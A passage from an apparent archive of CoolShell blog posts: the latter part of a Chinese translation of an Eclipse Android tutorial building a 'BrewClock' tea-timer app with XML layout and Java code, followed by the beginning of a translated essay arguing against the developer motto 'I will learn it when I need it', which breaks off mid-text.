width=\"525\"/></p>\n<p>在点击了完成按钮之后，Eclipse将为你创建一个新的可以运行的Android项目。注意，你通知了Eclipse生成了一个叫做BrewClockActivity的Activity。这个Activity的代码用于运行你的应用程序。生成的代码将在程序运行时非常简单地显示一条“Hello World”消息。</p>\n<h4>包</h4>\n<p>包名是你的应用程序标示。当你开始准备在Android Market上发布你的应用程序的时候，Android用这个标识符精确地记录你的应用程序的更新过程，因此让包名唯一是非常重要的。尽管我们在这里使用了com.example.brewclock这样的名字空间，对于真实的应用程序，你应该选择类似于com.你的公司名.你的应用程序名 这样的包名。</p>\n<h4>SDK 版本</h4>\n<p>Min SDK Version 是你的Android程序所能运行得最早版本号。对于每个新发布的Android，SDK会增加并修改一些方法。通过选择一个版本号，Android（Android Market）会知道你的应用程序能运行在等于或晚于指定版本的设备之上。</p>\n<h3>运行你的应用程序</h3>\n<p>现在让我们开始在Eclipse中运行我们的应用程序。由于是第一次运行，Eclipse将会询问你的项目类型：</p>\n<ul>\n<li>选择<em>Run-&gt;Run</em> 或 按下 <em>Ctrl+F11</em>.</li>\n<li>选择<em>Android Application</em> 并点击 <em>OK </em>按钮.</li>\n</ul>\n<p>Eclipse 将会在一个Android设备上运行一个应用程序。在这个时候，由于你没有任何Android设备，因此在运行时一定会返回一个失败，并且询问你是否要新建一个Android的虚拟设备。（AVD）<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-4305\" height=\"172\" src=\"../wp-content/uploads/2011/04/eclipse_no_avd.jpg\" title=\"eclipse_no_avd\" width=\"534\"/></p>\n<h4>Android 虚拟设备</h4>\n<p>Android 虚拟设备 (AVD) 是一个模拟真实世界中Android设备的模拟器，例如移动电话或平板电脑。你可以在不买任何真实Android设备情况下，使用AVD测试你的应用。</p>\n<p>你可以创建任意多个你喜欢的AVD，每个可以建立在不同版本的Android平台之上。对于你创建的每个Android设备，你可以配置不同的硬件属性，比如是否具有物理键盘，是否支持GPS，摄像头的像素，等等。</p>\n<p>在你开始运行你的应用程序之前，你需要创建你的AVD，来运行指定的SDK平台（Google APIs 1.6）。</p>\n<p>现在让我开始:</p>\n<ul>\n<li>如果还没有开始运行你的应用程序，点击run（或按下 <em>Ctrl+F11</em>）。</li>\n<li>当目标设备弹出警告，点击<em>Yes</em> 以创建新的AVD。</li>\n<li>单击<em>Android SDK and AVD      Manager</em> 对话框内的<em>New</em> 按钮.</li>\n<li>为你的AVD键入如下的设置：</li>\n</ul>\n<p>[code]<br/>\nName: Android_1.6<br/>\nTarget: Google APIs (Google Inc.) – API Level 4<br/>\nSD Card Size: 16 MiB<br/>\nSkin Built In: Default (HVGA)<br/>\n[/code]</p>\n<ul>\n<li>单击 <em>Create AVD</em> 让Android为你创建一个新虚拟设备。</li>\n<li>关闭the <em>Android SDK and AVD Manager</em> 对话框.</li>\n</ul>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-4308\" height=\"574\" src=\"../wp-content/uploads/2011/04/sdk_manager_new_avd.jpg\" title=\"sdk_manager_new_avd\" width=\"400\"/></p>\n<h4>运行代码</h4>\n<p>再次运行你的应用程序（<em>Ctrl+F11</em>）。 Eclipse 将build 你的项目并运行一个新的AVD。记住，AVD模拟了一个完全的Android系统，因此你需要有耐心来等待这个缓慢的启动过程，就如同你重启真实的Android设备一样。一个好的做法是不要关闭你的AVD，直到你完成了你一天的工作。<br/>\n当你的模拟器启动后，Eclipse自动地安装并运行你的应用程序。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-4301\" height=\"355\" src=\"../wp-content/uploads/2011/04/app_running-550-e1287474474253.jpg\" title=\"app_running-550-e1287474474253\" width=\"499\"/></p>\n<h3>开发你第一个Android应用</h3>\n<p>生成的代码能良好的运行，但是你真正想要的是开发一个真实的应用程序。为此，我们首先果一个咸蛋的设计流程，并开始创建一个可以让你部署在Android设备上的应用。</p>\n<p>大部分的开发者（包括我自己）都喜欢每天一杯咖啡或茶。在下一节中，你将开发一个简单的泡茶计数器应用程序来记录用户泡了多少杯茶，并为泡每杯茶做一个定时器。</p>\n<p>你可以从<a href=\"http://github.com/cblunt/brewclock\">GitHub</a>下载整个教程的源代码.</p>\n<h4>设计用户界面</h4>\n<p>在开发任何Android应用程序之前的第一步就是设计和开发用户界面。下面是一个我们这个应用程序的用户界面的一个概览。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-4302\" height=\"505\" src=\"../wp-content/uploads/2011/04/design_sketch.jpg\" title=\"design_sketch\" width=\"331\"/></p>\n<p>用户将能通过+和-按钮设置一个泡茶的定时器。当单击开始按钮，定时器将开始按指定的时间递减。除非用户再次点击按钮以取消计时，否则当定时器为0的时候，累计的泡茶计数brew将增加1。</p>\n<h4>开发用户界面</h4>\n<p>Android 用户界面或布局<em>layouts</em>, 是通过XML文档来描述的，可以在项目的res/layouts目录下找到。在之前运行在模拟器上代码中，我们可以看到由eclipse自动生成的布局代码在res/layouts/main.xml 中。</p>\n<p>Eclipse有一个图形化的布局设计器，通过在屏幕上的拖拽控制来完成布局的设计，然而，我却发现直接写XML并使用图形布局来预览是更容易的方式。</p>\n<p>现在让我们对main.xml做一些工作以达到上图的效果：</p>\n<ul>\n<li>在Eclipse中通过双击PackageExplorer的res/layouts/main.xml 来打开xml。</li>\n<li>点击屏幕下方main.xml 来切换为xml视图。</li>\n</ul>\n<p>将main.xml中内容改为如下的内容：</p>\n<p>[code]<br/>\n# /res/layouts/main.xml<br/>\n&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;<br/>\n&lt;LinearLayout<br/>\n  xmlns:android=\"http://schemas.android.com/apk/res/android\"<br/>\n  android:orientation=\"vertical\"<br/>\n  android:layout_width=\"fill_parent\"<br/>\n  android:layout_height=\"fill_parent\"&gt;<br/>\n  &lt;LinearLayout<br/>\n    android:orientation=\"horizontal\"<br/>\n    android:layout_width=\"fill_parent\"<br/>\n    android:layout_height=\"wrap_content\"<br/>\n    android:padding=\"10dip\"&gt;<br/>\n    &lt;TextView<br/>\n      android:layout_width=\"wrap_content\"<br/>\n      android:layout_height=\"wrap_content\"<br/>\n      android:textSize=\"20dip\"<br/>\n      android:text=\"Brews: \" /&gt;<br/>\n    &lt;TextView<br/>\n      android:layout_width=\"fill_parent\"<br/>\n      android:layout_height=\"wrap_content\"<br/>\n      android:text=\"None\"<br/>\n      android:gravity=\"right\"<br/>\n      android:textSize=\"20dip\"<br/>\n      android:id=\"@+id/brew_count_label\" /&gt;<br/>\n  &lt;/LinearLayout&gt;<br/>\n  &lt;LinearLayout<br/>\n    android:orientation=\"horizontal\"<br/>\n    android:layout_width=\"fill_parent\"<br/>\n    android:layout_height=\"wrap_content\"<br/>\n    android:layout_weight=\"1\"<br/>\n    android:gravity=\"center\"<br/>\n    android:padding=\"10dip\"&gt;<br/>\n    &lt;Button<br/>\n      android:id=\"@+id/brew_time_down\"<br/>\n      android:layout_width=\"wrap_content\"<br/>\n      android:layout_height=\"wrap_content\"<br/>\n      android:text=\"-\"<br/>\n      android:textSize=\"40dip\" /&gt;<br/>\n    &lt;TextView<br/>\n      android:id=\"@+id/brew_time\"<br/>\n      android:layout_width=\"wrap_content\"<br/>\n      android:layout_height=\"wrap_content\"<br/>\n      android:text=\"0:00\"<br/>\n      android:textSize=\"40dip\"<br/>\n      android:padding=\"10dip\" /&gt;<br/>\n    &lt;Button<br/>\n      android:id=\"@+id/brew_time_up\"<br/>\n      android:layout_width=\"wrap_content\"<br/>\n      android:layout_height=\"wrap_content\"<br/>\n      android:text=\"+\"<br/>\n      android:textSize=\"40dip\" /&gt;<br/>\n  &lt;/LinearLayout&gt;<br/>\n  &lt;Button<br/>\n    android:id=\"@+id/brew_start\"<br/>\n    android:layout_width=\"fill_parent\"<br/>\n    android:layout_height=\"wrap_content\"<br/>\n    android:layout_gravity=\"bottom\"<br/>\n    android:text=\"Start\" /&gt;<br/>\n&lt;/LinearLayout&gt;</p>\n<p>[/code]</p>\n<p>正如你所见的，Android的XML布局文件是繁琐的，但却能让你控制到屏幕的各个元素。</p>\n<p>在Android中最重要的接口元素是布局Layout容器，例如例子中使用的LinearLayout 。这些元素对于用户是不可见的,但是却扮演者例如Buttons 和TextViews这些元素的布局容器。</p>\n<p>Android中有几种不同类型的布局视图layout view，每一种都用于开发不同的布局。如同LinearLayout 和AbsoluteLayout ，TableLayout 可以让你使用更为复杂的基于表格结构的布局。你可以在SDK的API文档的<a href=\"http://developer.android.com/guide/topics/ui/layout-objects.html\">通用布局对象</a>中查找到更多的布局。</p>\n<h4>关联你的布局Layout与代码</h4>\n<p>保存你的布局，在Eclipse中点击<em>Run</em>图标或按下<em>Ctrl+F11</em>重新在模拟器中运行你的程序。你现看到不是之前出现的Hello World消息了，你将看到Android显示了一个新的界面。</p>\n<p>如果点击界面上的任何按钮，他们将期望的显示为高亮，但是不会执行任何操作。现在让我们在布局修改后改进一下我们的源码：</p>\n<p># /src/com/example/brewclock/BrewClockActivity.java</p>\n<pre class=\"EnlighterJSRAW\">\n...\nimport android.widget.Button;\nimport android.widget.TextView;\n\npublic class BrewClockActivity extends Activity {\n  /** Properties **/\n  protected Button brewAddTime;\n  protected Button brewDecreaseTime;\n  protected Button startBrew;\n  protected TextView brewCountLabel;\n  protected TextView brewTimeLabel;\n\n  ...\n }\n</pre>\n<p>下一步,我们将修改调用onCreate。当Android启动你的应用程序的时候，Android会首先调用这个方法。 在Eclipse生成的代码中，onCreate把activity的视图设置成R.layout.main。这行代码告诉Android解释我们的布局配置XML文件，并显示它。</p>\n<h4>资源对象</h4>\n<p>在Android中，R是一个自动生成的对象，这是一个特殊的对象，你可以在代码中通过这个对象访问项目中的资源（布局，字符串，菜单，图标，…） 。每个资源都有一个给定的id。在上面的那个布局文件中，有一些@+id XML 属性。我们将通过这些值来关联布局中的Buttons 与TextViews和我们的代码和：</p>\n<p># /src/com/example/brewclock/BrewClockActivity.java</p>\n<pre class=\"EnlighterJSRAW\">\n...\npublic class BrewClockActivity extends Activity {\n  ...\n  public void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    setContentView(R.layout.main);\n\n    // Connect interface elements to properties\n    brewAddTime = (Button) findViewById(R.id.brew_time_up);\n    brewDecreaseTime = (Button) findViewById(R.id.brew_time_down);\n    startBrew = (Button) findViewById(R.id.brew_start);\n    brewCountLabel = (TextView) findViewById(R.id.brew_count_label);\n    brewTimeLabel = (TextView) findViewById(R.id.brew_time);\n  }\n}\n</pre>\n<h4>监听事件</h4>\n<p>为了检测到用户单击我们的按钮，我们需要实现一个监听器listener。你可能会从其他的事件驱动系统中熟悉监听器或回调函数<em>callbacks</em>。比如Javascript/JQuery事件或Rails的回调函数。</p>\n<p>Android通过Listener接口提供相似的机制，例如OnClickListener，这个接口中定义了那些会被事件触发的方法。当用户点击屏幕的时候，实现OnClickListener 接口将会通知你的应用程序，并告诉他们所按得屏幕按钮。你当然也需要告诉每个button的ClickListener，以便Android知道具体通知到那个监听器：</p>\n<p># /src/com/example/brewclock/BrewClockActivity.java</p>\n<pre class=\"EnlighterJSRAW\">\n...\n// Be sure not to import\n// `android.content.dialoginterface.OnClickListener`.\nimport android.view.View.OnClickListener;\n\npublic class BrewClockActivity extends Activity\n  implements OnClickListener {\n  ...\n  public void onCreate(Bundle savedInstanceState) {\n    ...\n    // Setup ClickListeners\n    brewAddTime.setOnClickListener(this);\n    brewDecreaseTime.setOnClickListener(this);\n    startBrew.setOnClickListener(this);\n  }\n  ...\n  public void onClick(View v) {\n    // TODO: Add code to handle button taps\n  }\n}\n</pre>\n<p>下一步，我们将增加每个按钮按下的处理过程。我们将为Activity类增加4个属性，这些属性将用来让用户设置和记录我们泡茶时间，泡茶计数，计时器是否在运行的标志。</p>\n<p># /src/com/example/brewclock/BrewClockActivity.java</p>\n<pre class=\"EnlighterJSRAW\">\n...\npublic class BrewClockActivity extends Activity\n  implements OnClickListener {\n  ...\n  protected int brewTime = 3;\n  protected CountDownTimer brewCountDownTimer;\n  protected int brewCount = 0;\n  protected boolean isBrewing = false;\n  ...\n  public void onClick(View v) {\n    if(v == brewAddTime)\n      setBrewTime(brewTime + 1);\n    else if(v == brewDecreaseTime)\n      setBrewTime(brewTime -1);\n    else if(v == startBrew) {\n      if(isBrewing)\n        stopBrew();\n      else\n        startBrew();\n    }\n  }\n}\n</pre>\n<p>注意我们使用了Android提供的类CountDownTimer 。这让我们非常容易的创建和开始一个简单的递减计数，这个递减计数在递减运行的时候，每当执行一个递减就发出一个通知。你将在下面的startBrew 方法中使用到这个计数器。</p>\n<p>在下面的方法是所有处理逻辑，这些处理逻辑用于处理设置泡茶时间，开始停止计数和维护计数器。我们同样地在onCreate方法中来初始化我们的 brewTime和 brewCount变量。</p>\n<p>将这些代码放入到不同的类中是一种好做法。但是为了简洁，我把我们所有的代码都放到了BrewClockActivity中：</p>\n<p># /src/com/example/brewclock/BrewClockActivity.java</p>\n<pre class=\"EnlighterJSRAW\">\n...\npublic class BrewClockActivity extends Activity\n  implements OnClickListener {\n  ...\n  public void onCreate(Bundle savedInstanceState) {\n    ...\n    // Set the initial brew values\n    setBrewCount(0);\n    setBrewTime(3);\n  }\n\n  /**\n   * Set an absolute value for the number of minutes to brew.\n   * Has no effect if a brew is currently running.\n   * @param minutes The number of minutes to brew.\n   */\n  public void setBrewTime(int minutes) {\n    if(isBrewing)\n      return;\n\n    brewTime = minutes;\n\n    if(brewTime &lt; 1)\n      brewTime = 1;\n\n    brewTimeLabel.setText(String.valueOf(brewTime) + \"m\");\n  }\n\n  /**\n   * Set the number of brews that have been made, and update\n   * the interface.\n   * @param count The new number of brews\n   */\n  public void setBrewCount(int count) {\n    brewCount = count;\n    brewCountLabel.setText(String.valueOf(brewCount));\n  }\n\n  /**\n   * Start the brew timer\n   */\n  public void startBrew() {\n    // Create a new CountDownTimer to track the brew time\n    brewCountDownTimer = new CountDownTimer(brewTime * 60 * 1000, 1000) {\n      @Override\n      public void onTick(long millisUntilFinished) {\n        brewTimeLabel.setText(String.valueOf(millisUntilFinished / 1000) + \"s\");\n      }\n\n      @Override\n      public void onFinish() {\n        isBrewing = false;\n        setBrewCount(brewCount + 1);\n\n        brewTimeLabel.setText(\"Brew Up!\");\n        startBrew.setText(\"Start\");\n      }\n    };\n\n    brewCountDownTimer.start();\n    startBrew.setText(\"Stop\");\n    isBrewing = true;\n  }\n\n  /**\n   * Stop the brew timer\n   */\n  public void stopBrew() {\n    if(brewCountDownTimer != null)\n      brewCountDownTimer.cancel();\n\n    isBrewing = false;\n    startBrew.setText(\"Start\");\n  }\n  ...\n}\n</pre>\n<p>这段代码唯一和Android相关的就是使用setText方法来设置文本的显示文字。在startBrew方法中，我们创建，并开始了一个CountDownTimer来开每秒递减计数直到计数器为0。注意，我们定义了CountDownTimer以内联方式监听onTick 和 onFinish方法。 onTick 方法将每1000毫秒（1秒）执行一次，并递减, 当计数器为0的时候，onFinish方法被调用。</p>\n<h4>避免在你的代码中硬编码</h4>\n<p>为了使教程代码简单，我故意地在程序中将控件的标号直接写到字串中（例如： “Brew Up!”, “Start”, “Stop”） 通常，这不是一个好的做法，因为如果在大型项目中，这样做会使得修改变得麻烦。</p>\n<p>Android 提供了一种简洁的方法让你使用R对象来使字符串和代码分离。R 让你在xml文件（res/values/strings.xml）定义所有你程序中字符串，并让你可以在代码中应用到这些字符串。例如：</p>\n<p># /res/values/strings.xml</p>\n<p>[code]<br/>\n&lt;string name=\"brew_up_label\"&gt;Brew Up!&lt;/string&gt;<br/>\n…<br/>\n[/code]</p>\n<p># /res/com/example/brewclock/BrewClockActivity.java</p>\n<p>[code]<br/>\n…<br/>\nbrewLabel.setText(R.string.brew_up_label);<br/>\n…<br/>\n[/code]</p>\n<p>现在，如果你想改变Brew Up! 字样，你只要一次性的修改strings.xml文件就行了。你的应用将生成一堆代码来保证你程序中所有使用到这些字符串的地方都能被生效！</p>\n<h4>运行Brew Clock</h4>\n<p>代码完成之后，现在是试运行程序的时候了。单击<em>Run</em> 或 <em>Ctrl+F11</em> 在模拟器中启动我们的应用. 所有都运行良好，你将会看到你创建的用户界面在准备时间一到就可以喝你所泡的茶了！试着设置不同的时间，并点击<em>Start</em> 观看倒计时。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-4300\" height=\"355\" src=\"../wp-content/uploads/2011/04/app_finished-550-e1287474491689.jpg\" title=\"app_finished-550-e1287474491689\" width=\"499\"/></p>\n<h3>总结</h3>\n<p>在这个关于Android的简单介绍中，你已学会如何安装Android SDK和Eclipse的Android 开发工具插件（ADT）。你也学会如何创建一个模拟设备，并通过这个设备来测试你的应用程序。你还学会了如何开发Android应用程序。上面了那些作为标题的关键概念在以后你自己开发Android应用程序的时候将会经常用到。</p>\n<p>我们希望，这个教程能激发你的开发移动应用程序的欲望，并步入这个令人激动的领域。Android为当前和即将到来的移动设备应用程序开发提供了一条宽广的道路。如果你已经开发你自己的移动应用，请在评论中告诉我们。</p>\n<p><em>(ik), (vf)</em></p>\n<p><em>（全文完）</em><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4334.html\"><img alt=\"Eclipse开发Android应用程序入门:重装上阵\" height=\"150\" src=\"../wp-content/uploads/2011/04/1_starting_point_full-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4334.html\">Eclipse开发Android应用程序入门:重装上阵</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3589.html\"><img alt=\"食客还是大厨\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3589.html\">食客还是大厨</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4270.html\">Eclipse开发Android应用程序入门</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-7 程序员的谎谬之言还是至理名言？.html",
    "content": "<html><body><p>有朋友（网友never）在酷壳Coolshell.cn的<a href=\"https://coolshell.cn/guestbook#comment-40758\" target=\"_blank\">留言版上问我</a>，为什么关注了这很多的东西，我想我可以用下文来回答这位网友，因为我和作者的观点几乎一致。这篇文章由 ALAN SKORKIN写的 “<a href=\"http://www.skorks.com/2011/02/the-greatest-developer-fallacy-or-the-wisest-words-youll-ever-hear/\" target=\"_blank\">The Greatest Developer Fallacy Or The Wisest Words You’ll Ever Hear?</a>” ，我把其全文翻译如下，我很喜欢这篇文章，希望你也喜欢。（翻译的也许不好，欢迎指正）</p>\n<p>—————————————————正文分隔线——————————————————</p>\n<p><img align=\"left\" alt=\"Wisdom\" height=\"349\" hspace=\"20\" src=\"../wp-content/uploads/2011/02/wisdom-225x300.jpg\" title=\"Wisdom\" vspace=\"5\" width=\"262\"/></p>\n<p>“<span style=\"color: #cc0000;\"><strong><em>I will learn it when I need it – </em>我会在我需要的时候再学</strong></span>“！我听到这句已经很多年了。这对于一个高速变化的软件行业环境来说，这似乎是一个非常实用的态度。 在某些方面这的确很实用主义，不过在其它的方面，我为这句话感到很不爽。这句话变成了整个软件行业的福音，但却没有让我们的软件行业变得更好。其问题在于，<strong>这句话伪装在于其听上去像是一个智慧的有经验的开发者说的，但是人们只是以此为借口而随波逐流</strong>。实在是有太多的东西需要我们去了解，我们也的确需要在工作当中来学习这些东西。但是， “在工作中学习”和“根据遇到的问题捡知识”这两者有着巨大的不同。</p>\n<ul>\n<li>另外，目前整个软件行业越来越需要一堆多面手，也许现在已经是这样了，只是我还没有注意到。当然，我也不喜欢这种情。现在，好像没有人愿意花更多的时间来把某一个东西学好学深学扎实，比如 <a href=\"http://www.skorks.com/2010/04/on-the-value-of-fundamentals-in-software-development/\" target=\"_blank\">计算机科学的基础知识</a>，或是最新的你正在使用的技术，甚至你在最近几年内每天都在使用其编码的程序语言（参考：<a href=\"http://blog.tmorris.net/java-is-pass-by-value/\" target=\"_blank\">Java is passed by value</a>）（<strong>译注：</strong>我在<a href=\"https://coolshell.cn/articles/4119.html\" target=\"_blank\" title=\"如何学好C++语言\">如何学好C++一文</a>的回复中已经看到一些这样的人）。何苦呢？你会在你的学习路途中看到这些东西被更新，被废弃，并可能变得小众化。我和很多不同的人讨论过很多次，但是好像没有人意识到这是一个问题。 “<strong>哥们，做个实用主义的人吧</strong>”。</li>\n</ul>\n<ul>\n<li>与此同时，我们所有的人都在相互地克隆和模仿（<strong>译注：</strong>参看<a href=\"https://coolshell.cn/articles/3820.html\" target=\"_blank\" title=\"中国的C2C模式\">中国的C2C</a>）。你需要一个Java程序员，我是一个Java程序员，你也是一个Java程序员，我的邻居也是一个Java程序员。我们之间有什么差别？其实，基本没有差别。好吧，我有一些jQuery的经历，太好，所以，你知道怎么来做一个折叠式的菜单？当然，我可以Google一下，然后剽窃别人最好的代码给你 :)（<strong>译注：</strong>参看“<a href=\"https://coolshell.cn/articles/2424.html\" target=\"_blank\" title=\"十条不错的编程观点\">十条不错的编程观点</a>”中的”Googling it” is okay）。</li>\n</ul>\n<p><span id=\"more-4235\"></span></p>\n<ul>\n<li>与此同时，你需要招聘到真正的专业级的人物（比如，你需要写一个很牛的解析程序来以图形化展示一下后台数据），那么你可能需要准备足够的啤酒和三明治，因为你可很有一段时间找不到这样的人。</li>\n</ul>\n<p>好了，其实，是有一些方法来区分，比如，我有更好的沟通能力，这就是为什么我可以做得更好。这是相当重要的，但是，<strong>如果我们用软能力而不是用技术能力来区分程序员的好坏 –  是不是有那么点反常和变态</strong>。我们所有人都可以沟通得很好，但是我们的代码乱成一团 :)。该死的，我本不应该说这事，我也有一点全才的样子。当然，我觉得我自己是一个 <a href=\"http://darrennegraeff.com/the-importance-of-t-shaped-individuals/\" target=\"_blank\">T型人才</a>（<strong>译注</strong>：即有深度又有广度），但是如果我们都非常诚实的话，我们会发现更多的人的能力是“横线型”或是“下划线型”的（<strong>译注</strong>：广度型），其中只有很少数的人才是有能力的。而我们的“T型人才”在这些人中就像一个巨大的钟乳石。<strong>你看上去像一个专家，但也许你从没有做过专家</strong>，这就是专才在满是全才的世界中的优势。</p>\n<h4>投资你的未来</h4>\n<p>我不想以说教的方式来告诉你人们应该怎么样来投资自己未来的职业生涯，因为每个人都知道我们应该怎么做。很多人也许认为他们正在投资，他们努力奋斗，写很多的代码，并也做一些阅读，当然，这样坚持下去，也许<a href=\"http://norvig.com/21-days.html\" target=\"_blank\">十年也可以成为一个专家</a>，而成为一个咨深专家可能需要20年（我会不断地说这些观点，总有一天我会把这个事说明白 :) ）。但是，如果真是这样的吧，每一个老家伙都会成为各个方面的专家，当然，事实是不会这样的。也许是因为人们不知道如何发展他们的专长（这是事实），但我私下里却怀疑，<strong>大家缺少的是热情而不是知识</strong>。我所说的这些东西难道不都是这样的原因吗？</p>\n<p>我完全跑题了。“在专业上投资未来”只是这些流行语中的一个，而重点是那句话 – “<strong><em>I will learn it when I need it – </em>我会在我需要的时候再学</strong>”。对我老爸来说这样做挺好，迄今为止对我也有效。但是让我们换一个角度看看，比如金融方面，如果我们说：“<strong>我会在我需要钱的时候再去进行投资</strong>”。在这句话上面那个实用主义的光环就不那么漂亮了。</p>\n<h4>你不知道你不知道的</h4>\n<p>我们都有过这样的时候，当我们痛苦地在解决一个问题的时候，有人突然告诉你一个算法或是一个技术，其把这个问题变得又快又简单。是的，有人告诉你一个容易的方法是一件很幸运的事，否则你可能需要花上数天或数周才能找到解决方法，并且事情可能会变得一团糟。你不会因此而被批评，因为你不知道你所不知道的东西。对此，“<strong><em>I will learn it when I need it – </em>我会在我需要的时候再学</strong>”在这个时候就走不通了。因为，<strong>你不可能学习那些你以为不存在的东西</strong>。Google做了很多的工作来减轻和缓解这样的问题，但并不完美。在一个陌生的环境下面对着一堆陌生的问题，会让你非常非常地痛苦，除非你知道你所面对的是什么（例如：如果你对搜索和约束传播（<em>constraint propagation</em>）有点了解的话，那你就可能 <a href=\"http://norvig.com/sudoku.html\" target=\"_blank\">容易地解决数独问题</a>，否则的话， <a href=\"http://xprogramming.com/xpmag/OkSudoku\" target=\"_blank\">这的确是</a> <a href=\"http://xprogramming.com/xpmag/SudokuMusings\" target=\"_blank\">非常</a> <a href=\"http://xprogramming.com/xpmag/Sudoku4\" target=\"_blank\">难的</a>）。你无法学习一种不知道或是你不知道用在哪里的算法。你也不可能去用一个你以为不存在的技术去解决一个问题。同样，你身边也不可以一直都有一个高人随时在给你指引正确的方向。我敢打赌，<strong>这个世界上有几十亿行代码可以被 几百万行更快，更清楚，更简单的代码所取代，因为无论是谁来写，他都不可能知道他所不知道的东西</strong>。</p>\n<p>我想在这里成为这个观点的反方，如果我们知道我们有哪些东西我们不知道，那么我们就知道我们需要去关注哪些东西。粗浅地尽可能的大范围的知道这些东西，那么，我们就可以在遇到问题的时候明白我们应该去更深地学什么样的知识。但是，这样来做在实际上并不有效，因为，<strong>这些浮云般的知识不会让你记下来</strong>，我们的大脑不是这样工作的。如果我们不去强化或是深度挖掘去消化这些概念， 我们的大脑会很快地 <a href=\"http://www.skorks.com/2009/09/become-a-better-developer-by-indexing-your-brain/\" target=\"_blank\">把这些信息标为不重要并换页出去</a>，这么做无非就是在浪费时间（你回头想一想你那些“填鸭式”的死记硬背的知识，你今天还记得吗？）然而，对于那些你集中精力深度研究过的东西——并伴随着你的兴趣的东西——你会收获到扎实的知识（那是你大脑里实际存下的不会忘的东西）。我的爷爷是一个核物理学家，数十年的在工作中获得这个领域中更深的知识让他今天成为了一个专家，同时也让他成为了一个优秀的数学家，不错的化学家，非常好的地理学家，还是一个合格的生物学家，等等。只需要一些 <a href=\"http://en.wikipedia.org/wiki/Empirical\" target=\"_blank\">观察性的证据</a> 你就知道<strong>广度的知识是深度研究的副产品</strong>。</p>\n<h4>你学得足够快吗？</h4>\n<p><img align=\"middle\" alt=\"Learn fast\" class=\"aligncenter\" height=\"217\" src=\"../wp-content/uploads/2011/02/learn-fast-300x199.jpg\" title=\"Learn fast\" vspace=\"5\" width=\"328\"/></p>\n<p>有些东西你需要花很长的时间才能学会。我对自己有信心不需跳跃性的就能把一个我从没有见过的ORM框架学会，因为我以前用过相似的东西，它们在概念上是相同的。但是，如果你需要做一个把演讲转成文本的东西呢，这并不简单，因为你没有足够多的背景知识。你可以希望通过Google给你提供一些东西让你Copy/Paste，但这是一个很不好的做法，只有大学里的做研究的研究员干这种烂事。如果是要创建一个网站呢，我们都知道怎么去创建一个网站，但是有多少人会知道如何架构一个每天有一千万用户访问的网站？那么我们需要去学的就是怎么做扩容扩展，<strong>我相信你的用户需要等你一到两个月才能把速度提上去</strong> :)。是的，我太笨了，所有我需要做的就是去招一个专家，然后……嗯……哦等一下，我们的啤酒和三明治都不够了。</p>\n<h4>为什么我应该关心</h4>\n<p><strong>和高手在一起工作真是超爽无比</strong>。你也许以前经历过，他们每说的一件事总是新鲜的，总是有意思的，你能从他们每一行的代码中学到很多小技巧，你几乎可以感觉到你的大脑在不断膨胀:)。你想从高手学习，所以，如果你身边没有高手，那真是太糟糕了。因为每一个人只会去学那些“需要”被学的东西，所以没有人能教给你任何有意思的东西。然而，这些高手也总是想和高手一起工作， 